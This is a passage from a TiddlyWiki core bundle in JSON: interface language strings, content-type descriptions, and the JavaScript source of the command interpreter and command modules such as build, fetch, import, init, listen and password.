            "title": "$:/language/TiddlerInfo/Tagging/Empty",
            "text": "No tiddlers are tagged with this one"
        },
        "$:/language/TiddlerInfo/Tools/Caption": {
            "title": "$:/language/TiddlerInfo/Tools/Caption",
            "text": "Tools"
        },
        "$:/language/Docs/Types/application/javascript": {
            "title": "$:/language/Docs/Types/application/javascript",
            "description": "JavaScript code",
            "name": "application/javascript",
            "group": "Developer",
            "group-sort": "2"
        },
        "$:/language/Docs/Types/application/json": {
            "title": "$:/language/Docs/Types/application/json",
            "description": "JSON data",
            "name": "application/json",
            "group": "Developer",
            "group-sort": "2"
        },
        "$:/language/Docs/Types/application/x-tiddler-dictionary": {
            "title": "$:/language/Docs/Types/application/x-tiddler-dictionary",
            "description": "Data dictionary",
            "name": "application/x-tiddler-dictionary",
            "group": "Developer",
            "group-sort": "2"
        },
        "$:/language/Docs/Types/image/gif": {
            "title": "$:/language/Docs/Types/image/gif",
            "description": "GIF image",
            "name": "image/gif",
            "group": "Image",
            "group-sort": "1"
        },
        "$:/language/Docs/Types/image/jpeg": {
            "title": "$:/language/Docs/Types/image/jpeg",
            "description": "JPEG image",
            "name": "image/jpeg",
            "group": "Image",
            "group-sort": "1"
        },
        "$:/language/Docs/Types/image/png": {
            "title": "$:/language/Docs/Types/image/png",
            "description": "PNG image",
            "name": "image/png",
            "group": "Image",
            "group-sort": "1"
        },
        "$:/language/Docs/Types/image/svg+xml": {
            "title": "$:/language/Docs/Types/image/svg+xml",
            "description": "Structured Vector Graphics image",
            "name": "image/svg+xml",
            "group": "Image",
            "group-sort": "1"
        },
        "$:/language/Docs/Types/image/x-icon": {
            "title": "$:/language/Docs/Types/image/x-icon",
            "description": "ICO format icon file",
            "name": "image/x-icon",
            "group": "Image",
            "group-sort": "1"
        },
        "$:/language/Docs/Types/text/css": {
            "title": "$:/language/Docs/Types/text/css",
            "description": "Static stylesheet",
            "name": "text/css",
            "group": "Developer",
            "group-sort": "2"
        },
        "$:/language/Docs/Types/text/html": {
            "title": "$:/language/Docs/Types/text/html",
            "description": "HTML markup",
            "name": "text/html",
            "group": "Text",
            "group-sort": "0"
        },
        "$:/language/Docs/Types/text/plain": {
            "title": "$:/language/Docs/Types/text/plain",
            "description": "Plain text",
            "name": "text/plain",
            "group": "Text",
            "group-sort": "0"
        },
        "$:/language/Docs/Types/text/vnd.tiddlywiki": {
            "title": "$:/language/Docs/Types/text/vnd.tiddlywiki",
            "description": "TiddlyWiki 5",
            "name": "text/vnd.tiddlywiki",
            "group": "Text",
            "group-sort": "0"
        },
        "$:/language/Docs/Types/text/x-tiddlywiki": {
            "title": "$:/language/Docs/Types/text/x-tiddlywiki",
            "description": "TiddlyWiki Classic",
            "name": "text/x-tiddlywiki",
            "group": "Text",
            "group-sort": "0"
        },
        "$:/languages/en-GB/icon": {
            "title": "$:/languages/en-GB/icon",
            "type": "image/svg+xml",
            "text": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 60 30\" width=\"1200\" height=\"600\">\n<clipPath id=\"t\">\n\t<path d=\"M30,15 h30 v15 z v15 h-30 z h-30 v-15 z v-15 h30 z\"/>\n</clipPath>\n<path d=\"M0,0 v30 h60 v-30 z\" fill=\"#00247d\"/>\n<path d=\"M0,0 L60,30 M60,0 L0,30\" stroke=\"#fff\" stroke-width=\"6\"/>\n<path d=\"M0,0 L60,30 M60,0 L0,30\" clip-path=\"url(#t)\" stroke=\"#cf142b\" stroke-width=\"4\"/>\n<path d=\"M30,0 v30 M0,15 h60\" stroke=\"#fff\" stroke-width=\"10\"/>\n<path d=\"M30,0 v30 M0,15 h60\" stroke=\"#cf142b\" stroke-width=\"6\"/>\n</svg>\n"
        },
        "$:/languages/en-GB": {
            "title": "$:/languages/en-GB",
            "name": "en-GB",
            "description": "English (British)",
            "author": "JeremyRuston",
            "core-version": ">=5.0.0\"",
            "text": "Stub pseudo-plugin for the default language"
        },
        "$:/core/modules/commander.js": {
            "title": "$:/core/modules/commander.js",
            "text": "/*\\\ntitle: $:/core/modules/commander.js\ntype: application/javascript\nmodule-type: global\n\nThe $tw.Commander class is a command interpreter\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nParse a sequence of commands\n\tcommandTokens: an array of command string tokens\n\twiki: reference to the wiki store object\n\tstreams: {output:, error:}, each of which has a write(string) method\n\tcallback: a callback invoked as callback(err) where err is null if there was no error\n*/\nvar Commander = function(commandTokens,callback,wiki,streams) {\n\tvar path = require(\"path\");\n\tthis.commandTokens = commandTokens;\n\tthis.nextToken = 0;\n\tthis.callback = callback;\n\tthis.wiki = wiki;\n\tthis.streams = streams;\n\tthis.outputPath = path.resolve($tw.boot.wikiPath,$tw.config.wikiOutputSubDir);\n};\n\n/*\nLog a string if verbose flag is set\n*/\nCommander.prototype.log = function(str) {\n\tif(this.verbose) {\n\t\tthis.streams.output.write(str + \"\\n\");\n\t}\n};\n\n/*\nWrite a string if verbose flag is set\n*/\nCommander.prototype.write = function(str) {\n\tif(this.verbose) {\n\t\tthis.streams.output.write(str);\n\t}\n};\n\n/*\nAdd a string of tokens to the command queue\n*/\nCommander.prototype.addCommandTokens = function(commandTokens) {\n\tvar params = commandTokens.slice(0);\n\tparams.unshift(0);\n\tparams.unshift(this.nextToken);\n\tArray.prototype.splice.apply(this.commandTokens,params);\n};\n\n/*\nExecute the sequence of commands and invoke a callback on completion\n*/\nCommander.prototype.execute = function() {\n\tthis.executeNextCommand();\n};\n\n/*\nExecute the next command in the sequence\n*/\nCommander.prototype.executeNextCommand = function() {\n\tvar self = this;\n\t// Invoke the callback if there are no more commands\n\tif(this.nextToken >= this.commandTokens.length) {\n\t\tthis.callback(null);\n\t} else {\n\t\t// Get and check the command token\n\t\tvar commandName = this.commandTokens[this.nextToken++];\n\t\tif(commandName.substr(0,2) !== \"--\") {\n\t\t\tthis.callback(\"Missing command: \" + commandName);\n\t\t} else {\n\t\t\tcommandName = commandName.substr(2); // Trim off the --\n\t\t\t// Accumulate the parameters to the command\n\t\t\tvar params = [];\n\t\t\twhile(this.nextToken < this.commandTokens.length && \n\t\t\t\tthis.commandTokens[this.nextToken].substr(0,2) !== \"--\") {\n\t\t\t\tparams.push(this.commandTokens[this.nextToken++]);\n\t\t\t}\n\t\t\t// Get the command info\n\t\t\tvar command = $tw.commands[commandName],\n\t\t\t\tc,err;\n\t\t\tif(!command) {\n\t\t\t\tthis.callback(\"Unknown command: \" + commandName);\n\t\t\t} else {\n\t\t\t\tif(this.verbose) {\n\t\t\t\t\tthis.streams.output.write(\"Executing command: \" + commandName + \" \" + params.join(\" \") + \"\\n\");\n\t\t\t\t}\n\t\t\t\t// Parse named parameters if required\n\t\t\t\tif(command.info.namedParameterMode) {\n\t\t\t\t\tparams = this.extractNamedParameters(params,command.info.mandatoryParameters);\n\t\t\t\t\tif(typeof params === \"string\") {\n\t\t\t\t\t\treturn this.callback(params);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(command.info.synchronous) {\n\t\t\t\t\t// Synchronous command\n\t\t\t\t\tc = new command.Command(params,this);\n\t\t\t\t\terr = c.execute();\n\t\t\t\t\tif(err) {\n\t\t\t\t\t\tthis.callback(err);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthis.executeNextCommand();\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// Asynchronous command\n\t\t\t\t\tc = new command.Command(params,this,function(err) {\n\t\t\t\t\t\tif(err) {\n\t\t\t\t\t\t\tself.callback(err);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tself.executeNextCommand();\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t\terr = c.execute();\n\t\t\t\t\tif(err) {\n\t\t\t\t\t\tthis.callback(err);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\n/*\nGiven an array of parameter strings `params` in name:value format, and an array of mandatory parameter names in `mandatoryParameters`, returns a hashmap of values or a string if error\n*/\nCommander.prototype.extractNamedParameters = function(params,mandatoryParameters) {\n\tmandatoryParameters = mandatoryParameters || [];\n\tvar errors = [],\n\t\tparamsByName = Object.create(null);\n\t// Extract the parameters\n\t$tw.utils.each(params,function(param) {\n\t\tvar index = param.indexOf(\"=\");\n\t\tif(index < 1) {\n\t\t\terrors.push(\"malformed named parameter: '\" + param + \"'\");\n\t\t}\n\t\tparamsByName[param.slice(0,index)] = $tw.utils.trim(param.slice(index+1));\n\t});\n\t// Check the mandatory parameters are present\n\t$tw.utils.each(mandatoryParameters,function(mandatoryParameter) {\n\t\tif(!$tw.utils.hop(paramsByName,mandatoryParameter)) {\n\t\t\terrors.push(\"missing mandatory parameter: '\" + mandatoryParameter + \"'\");\n\t\t}\n\t});\n\t// Return any errors\n\tif(errors.length > 0) {\n\t\treturn errors.join(\" and\\n\");\n\t} else {\n\t\treturn paramsByName;\t\t\n\t}\n};\n\nCommander.initCommands = function(moduleType) {\n\tmoduleType = moduleType || \"command\";\n\t$tw.commands = {};\n\t$tw.modules.forEachModuleOfType(moduleType,function(title,module) {\n\t\tvar c = $tw.commands[module.info.name] = {};\n\t\t// Add the methods defined by the module\n\t\tfor(var f in module) {\n\t\t\tif($tw.utils.hop(module,f)) {\n\t\t\t\tc[f] = module[f];\n\t\t\t}\n\t\t}\n\t});\n};\n\nexports.Commander = Commander;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "global"
        },
        "$:/core/modules/commands/build.js": {
            "title": "$:/core/modules/commands/build.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/build.js\ntype: application/javascript\nmodule-type: command\n\nCommand to build a build target\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"build\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\t// Get the build targets defined in the wiki\n\tvar buildTargets = $tw.boot.wikiInfo.build;\n\tif(!buildTargets) {\n\t\treturn \"No build targets defined\";\n\t}\n\t// Loop through each of the specified targets\n\tvar targets;\n\tif(this.params.length > 0) {\n\t\ttargets = this.params;\n\t} else {\n\t\ttargets = Object.keys(buildTargets);\n\t}\n\tfor(var targetIndex=0; targetIndex<targets.length; targetIndex++) {\n\t\tvar target = targets[targetIndex],\n\t\t\tcommands = buildTargets[target];\n\t\tif(!commands) {\n\t\t\treturn \"Build target '\" + target + \"' not found\";\n\t\t}\n\t\t// Add the commands to the queue\n\t\tthis.commander.addCommandTokens(commands);\n\t}\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/clearpassword.js": {
            "title": "$:/core/modules/commands/clearpassword.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/clearpassword.js\ntype: application/javascript\nmodule-type: command\n\nClear password for crypto operations\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"clearpassword\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\t$tw.crypto.setPassword(null);\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/editions.js": {
            "title": "$:/core/modules/commands/editions.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/editions.js\ntype: application/javascript\nmodule-type: command\n\nCommand to list the available editions\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"editions\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\tvar self = this;\n\t// Output the list\n\tthis.commander.streams.output.write(\"Available editions:\\n\\n\");\n\tvar editionInfo = $tw.utils.getEditionInfo();\n\t$tw.utils.each(editionInfo,function(info,name) {\n\t\tself.commander.streams.output.write(\"    \" + name + \": \" + info.description + \"\\n\");\n\t});\n\tthis.commander.streams.output.write(\"\\n\");\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/fetch.js": {
            "title": "$:/core/modules/commands/fetch.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/fetch.js\ntype: application/javascript\nmodule-type: command\n\nCommands to fetch external tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"fetch\",\n\tsynchronous: false\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 2) {\n\t\treturn \"Missing subcommand and url\";\n\t}\n\tswitch(this.params[0]) {\n\t\tcase \"raw-file\":\n\t\t\treturn this.fetchFiles({\n\t\t\t\traw: true,\n\t\t\t\turl: this.params[1],\n\t\t\t\ttransformFilter: this.params[2] || \"\",\n\t\t\t\tcallback: this.callback\n\t\t\t});\n\t\t\tbreak;\n\t\tcase \"file\":\n\t\t\treturn this.fetchFiles({\n\t\t\t\turl: this.params[1],\n\t\t\t\timportFilter: this.params[2],\n\t\t\t\ttransformFilter: this.params[3] || \"\",\n\t\t\t\tcallback: this.callback\n\t\t\t});\n\t\t\tbreak;\n\t\tcase \"raw-files\":\n\t\t\treturn this.fetchFiles({\n\t\t\t\traw: true,\n\t\t\t\turlFilter: this.params[1],\n\t\t\t\ttransformFilter: this.params[2] || \"\",\n\t\t\t\tcallback: this.callback\n\t\t\t});\n\t\t\tbreak;\n\t\tcase \"files\":\n\t\t\treturn this.fetchFiles({\n\t\t\t\turlFilter: this.params[1],\n\t\t\t\timportFilter: this.params[2],\n\t\t\t\ttransformFilter: this.params[3] || \"\",\n\t\t\t\tcallback: this.callback\n\t\t\t});\n\t\t\tbreak;\n\t}\n\treturn null;\n};\n\nCommand.prototype.fetchFiles = function(options) {\n\tvar self = this;\n\t// Get the list of URLs\n\tvar urls;\n\tif(options.url) {\n\t\turls = [options.url]\n\t} else if(options.urlFilter) {\n\t\turls = $tw.wiki.filterTiddlers(options.urlFilter);\n\t} else {\n\t\treturn \"Missing URL\";\n\t}\n\t// Process each URL in turn\n\tvar next = 0;\n\tvar getNextFile = function(err) {\n\t\tif(err) {\n\t\t\treturn options.callback(err);\n\t\t}\n\t\tif(next < urls.length) {\n\t\t\tself.fetchFile(urls[next++],options,getNextFile);\n\t\t} else {\n\t\t\toptions.callback(null);\n\t\t}\n\t};\n\tgetNextFile(null);\n\t// Success\n\treturn null;\n};\n\nCommand.prototype.fetchFile = function(url,options,callback,redirectCount) {\n\tif(redirectCount > 10) {\n\t\treturn callback(\"Error too many redirects retrieving \" + url);\n\t}\n\tvar self = this,\n\t\tlib = url.substr(0,8) === \"https://\" ? require(\"https\") : require(\"http\");\n\tlib.get(url).on(\"response\",function(response) {\n\t    var type = (response.headers[\"content-type\"] || \"\").split(\";\")[0],\n\t    \tdata = [];\n\t    self.commander.write(\"Reading \" + url + \": \");\n\t    response.on(\"data\",function(chunk) {\n\t        data.push(chunk);\n\t        self.commander.write(\".\");\n\t    });\n\t    response.on(\"end\",function() {\n\t        self.commander.write(\"\\n\");\n\t        if(response.statusCode === 200) {\n\t\t        self.processBody(Buffer.concat(data),type,options,url);\n\t\t        callback(null);\n\t        } else {\n\t        \tif(response.statusCode === 302 || response.statusCode === 303 || response.statusCode === 307) {\n\t        \t\treturn self.fetchFile(response.headers.location,options,callback,redirectCount + 1);\n\t        \t} else {\n\t\t        \treturn callback(\"Error \" + response.statusCode + \" retrieving \" + url)\t        \t\t\n\t        \t}\n\t        }\n\t   \t});\n\t   \tresponse.on(\"error\",function(e) {\n\t\t\tconsole.log(\"Error on GET request: \" + e);\n\t\t\tcallback(e);\n\t   \t});\n\t});\n\treturn null;\n};\n\nCommand.prototype.processBody = function(body,type,options,url) {\n\tvar self = this;\n\t// Collect the tiddlers in a wiki\n\tvar incomingWiki = new $tw.Wiki();\n\tif(options.raw) {\n\t\tvar typeInfo = type ? $tw.config.contentTypeInfo[type] : null,\n\t\t\tencoding = typeInfo ? typeInfo.encoding : \"utf8\";\n\t\tincomingWiki.addTiddler(new $tw.Tiddler({\n\t\t\ttitle: url,\n\t\t\ttype: type,\n\t\t\ttext: body.toString(encoding)\n\t\t}));\n\t} else {\n\t\t// Deserialise the file to extract the tiddlers\n\t\tvar tiddlers = this.commander.wiki.deserializeTiddlers(type || \"text/html\",body.toString(\"utf8\"),{});\n\t\t$tw.utils.each(tiddlers,function(tiddler) {\n\t\t\tincomingWiki.addTiddler(new $tw.Tiddler(tiddler));\n\t\t});\n\t}\n\t// Filter the tiddlers to select the ones we want\n\tvar filteredTitles = incomingWiki.filterTiddlers(options.importFilter || \"[all[tiddlers]]\");\n\t// Import the selected tiddlers\n\tvar count = 0;\n\tincomingWiki.each(function(tiddler,title) {\n\t\tif(filteredTitles.indexOf(title) !== -1) {\n\t\t\tvar newTiddler;\n\t\t\tif(options.transformFilter) {\n\t\t\t\tvar transformedTitle = (incomingWiki.filterTiddlers(options.transformFilter,null,self.commander.wiki.makeTiddlerIterator([title])) || [\"\"])[0];\n\t\t\t\tif(transformedTitle) {\n\t\t\t\t\tself.commander.log(\"Importing \" + title + \" as \" + transformedTitle)\n\t\t\t\t\tnewTiddler = new $tw.Tiddler(tiddler,{title: transformedTitle});\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tself.commander.log(\"Importing \" + title)\n\t\t\t\tnewTiddler = tiddler;\n\t\t\t}\n\t\t\tself.commander.wiki.importTiddler(newTiddler);\n\t\t\tcount++;\n\t\t}\n\t});\n\tself.commander.log(\"Imported \" + count + \" tiddlers\")\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/help.js": {
            "title": "$:/core/modules/commands/help.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/help.js\ntype: application/javascript\nmodule-type: command\n\nHelp command\n\n\\*/\n(function(){\n\n/*jshint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"help\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\tvar subhelp = this.params[0] || \"default\",\n\t\thelpBase = \"$:/language/Help/\",\n\t\ttext;\n\tif(!this.commander.wiki.getTiddler(helpBase + subhelp)) {\n\t\tsubhelp = \"notfound\";\n\t}\n\t// Wikify the help as formatted text (ie block elements generate newlines)\n\ttext = this.commander.wiki.renderTiddler(\"text/plain-formatted\",helpBase + subhelp);\n\t// Remove any leading linebreaks\n\ttext = text.replace(/^(\\r?\\n)*/g,\"\");\n\tthis.commander.streams.output.write(text);\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/import.js": {
            "title": "$:/core/modules/commands/import.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/import.js\ntype: application/javascript\nmodule-type: command\n\nCommand to import tiddlers from a file\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"import\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\");\n\tif(this.params.length < 2) {\n\t\treturn \"Missing parameters\";\n\t}\n\tvar filename = self.params[0],\n\t\tdeserializer = self.params[1],\n\t\ttitle = self.params[2] || filename,\n\t\tencoding = self.params[3] || \"utf8\",\n\t\ttext = fs.readFileSync(filename,encoding),\n\t\ttiddlers = this.commander.wiki.deserializeTiddlers(null,text,{title: title},{deserializer: deserializer});\n\t$tw.utils.each(tiddlers,function(tiddler) {\n\t\tself.commander.wiki.importTiddler(new $tw.Tiddler(tiddler));\n\t});\n\tthis.commander.log(tiddlers.length + \" tiddler(s) imported\");\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/init.js": {
            "title": "$:/core/modules/commands/init.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/init.js\ntype: application/javascript\nmodule-type: command\n\nCommand to initialise an empty wiki folder\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"init\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\tvar fs = require(\"fs\"),\n\t\tpath = require(\"path\");\n\t// Check that we don't already have a valid wiki folder\n\tif($tw.boot.wikiTiddlersPath || ($tw.utils.isDirectory($tw.boot.wikiPath) && !$tw.utils.isDirectoryEmpty($tw.boot.wikiPath))) {\n\t\treturn \"Wiki folder is not empty\";\n\t}\n\t// Loop through each of the specified editions\n\tvar editions = this.params.length > 0 ? this.params : [\"empty\"];\n\tfor(var editionIndex=0; editionIndex<editions.length; editionIndex++) {\n\t\tvar editionName = editions[editionIndex];\n\t\t// Check the edition exists\n\t\tvar editionPath = $tw.findLibraryItem(editionName,$tw.getLibraryItemSearchPaths($tw.config.editionsPath,$tw.config.editionsEnvVar));\n\t\tif(!$tw.utils.isDirectory(editionPath)) {\n\t\t\treturn \"Edition '\" + editionName + \"' not found\";\n\t\t}\n\t\t// Copy the edition content\n\t\tvar err = $tw.utils.copyDirectory(editionPath,$tw.boot.wikiPath);\n\t\tif(!err) {\n\t\t\tthis.commander.streams.output.write(\"Copied edition '\" + editionName + \"' to \" + $tw.boot.wikiPath + \"\\n\");\n\t\t} else {\n\t\t\treturn err;\n\t\t}\n\t}\n\t// Tweak the tiddlywiki.info to remove any included wikis\n\tvar packagePath = $tw.boot.wikiPath + \"/tiddlywiki.info\",\n\t\tpackageJson = JSON.parse(fs.readFileSync(packagePath));\n\tdelete packageJson.includeWikis;\n\tfs.writeFileSync(packagePath,JSON.stringify(packageJson,null,$tw.config.preferences.jsonSpaces));\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/listen.js": {
            "title": "$:/core/modules/commands/listen.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/listen.js\ntype: application/javascript\nmodule-type: command\n\nListen for HTTP requests and serve tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Server = require(\"$:/core/modules/server/server.js\").Server;\n\nexports.info = {\n\tname: \"listen\",\n\tsynchronous: true,\n\tnamedParameterMode: true,\n\tmandatoryParameters: [],\n};\n\nvar Command = function(params,commander,callback) {\n\tvar self = this;\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tvar self = this;\n\tif(!$tw.boot.wikiTiddlersPath) {\n\t\t$tw.utils.warning(\"Warning: Wiki folder '\" + $tw.boot.wikiPath + \"' does not exist or is missing a tiddlywiki.info file\");\n\t}\n\t// Set up server\n\tthis.server = new Server({\n\t\twiki: this.commander.wiki,\n\t\tvariables: self.params\n\t});\n\tvar nodeServer = this.server.listen();\n\t$tw.hooks.invokeHook(\"th-server-command-post-start\",this.server,nodeServer,\"tiddlywiki\");\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/load.js": {
            "title": "$:/core/modules/commands/load.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/load.js\ntype: application/javascript\nmodule-type: command\n\nCommand to load tiddlers from a file or directory\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"load\",\n\tsynchronous: false\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\");\n\tif(this.params.length < 1) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar tiddlers = $tw.loadTiddlersFromPath(self.params[0]),\n\t\tcount = 0;\n\t$tw.utils.each(tiddlers,function(tiddlerInfo) {\n\t\t$tw.utils.each(tiddlerInfo.tiddlers,function(tiddler) {\n\t\t\tself.commander.wiki.importTiddler(new $tw.Tiddler(tiddler));\n\t\t\tcount++;\n\t\t});\n\t});\n\tif(!count) {\n\t\tself.callback(\"No tiddlers found in file \\\"\" + self.params[0] + \"\\\"\");\n\t} else {\n\t\tself.callback(null);\n\t}\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/makelibrary.js": {
            "title": "$:/core/modules/commands/makelibrary.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/makelibrary.js\ntype: application/javascript\nmodule-type: command\n\nCommand to pack all of the plugins in the library into a plugin tiddler of type \"library\"\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"makelibrary\",\n\tsynchronous: true\n};\n\nvar UPGRADE_LIBRARY_TITLE = \"$:/UpgradeLibrary\";\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tvar wiki = this.commander.wiki,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\tupgradeLibraryTitle = this.params[0] || UPGRADE_LIBRARY_TITLE,\n\t\ttiddlers = {};\n\t// Collect up the library plugins\n\tvar collectPlugins = function(folder) {\n\t\t\tvar pluginFolders = fs.readdirSync(folder);\n\t\t\tfor(var p=0; p<pluginFolders.length; p++) {\n\t\t\t\tif(!$tw.boot.excludeRegExp.test(pluginFolders[p])) {\n\t\t\t\t\tpluginFields = $tw.loadPluginFolder(path.resolve(folder,\"./\" + pluginFolders[p]));\n\t\t\t\t\tif(pluginFields && pluginFields.title) {\n\t\t\t\t\t\ttiddlers[pluginFields.title] = pluginFields;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tcollectPublisherPlugins = function(folder) {\n\t\t\tvar publisherFolders = fs.readdirSync(folder);\n\t\t\tfor(var t=0; t<publisherFolders.length; t++) {\n\t\t\t\tif(!$tw.boot.excludeRegExp.test(publisherFolders[t])) {\n\t\t\t\t\tcollectPlugins(path.resolve(folder,\"./\" + publisherFolders[t]));\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\tcollectPublisherPlugins(path.resolve($tw.boot.corePath,$tw.config.pluginsPath));\n\tcollectPublisherPlugins(path.resolve($tw.boot.corePath,$tw.config.themesPath));\n\tcollectPlugins(path.resolve($tw.boot.corePath,$tw.config.languagesPath));\n\t// Save the upgrade library tiddler\n\tvar pluginFields = {\n\t\ttitle: upgradeLibraryTitle,\n\t\ttype: \"application/json\",\n\t\t\"plugin-type\": \"library\",\n\t\t\"text\": JSON.stringify({tiddlers: tiddlers},null,$tw.config.preferences.jsonSpaces)\n\t};\n\twiki.addTiddler(new $tw.Tiddler(pluginFields));\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/output.js": {
            "title": "$:/core/modules/commands/output.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/output.js\ntype: application/javascript\nmodule-type: command\n\nCommand to set the default output location (defaults to current working directory)\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"output\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tvar fs = require(\"fs\"),\n\t\tpath = require(\"path\");\n\tif(this.params.length < 1) {\n\t\treturn \"Missing output path\";\n\t}\n\tthis.commander.outputPath = path.resolve(process.cwd(),this.params[0]);\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/password.js": {
            "title": "$:/core/modules/commands/password.js",
            "text": "/*\\\ntitle: $:/core/modules/commands/password.js\ntype: application/javascript\nmodule-type: command\n\nSave password for crypto operations\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"password\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing password\";\n\t}\n\t$tw.crypto.setPassword(this.params[0]);\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "command"
        },
        "$:/core/modules/commands/render.js": {
            "title": "$:/core/modules/commands/render.js",
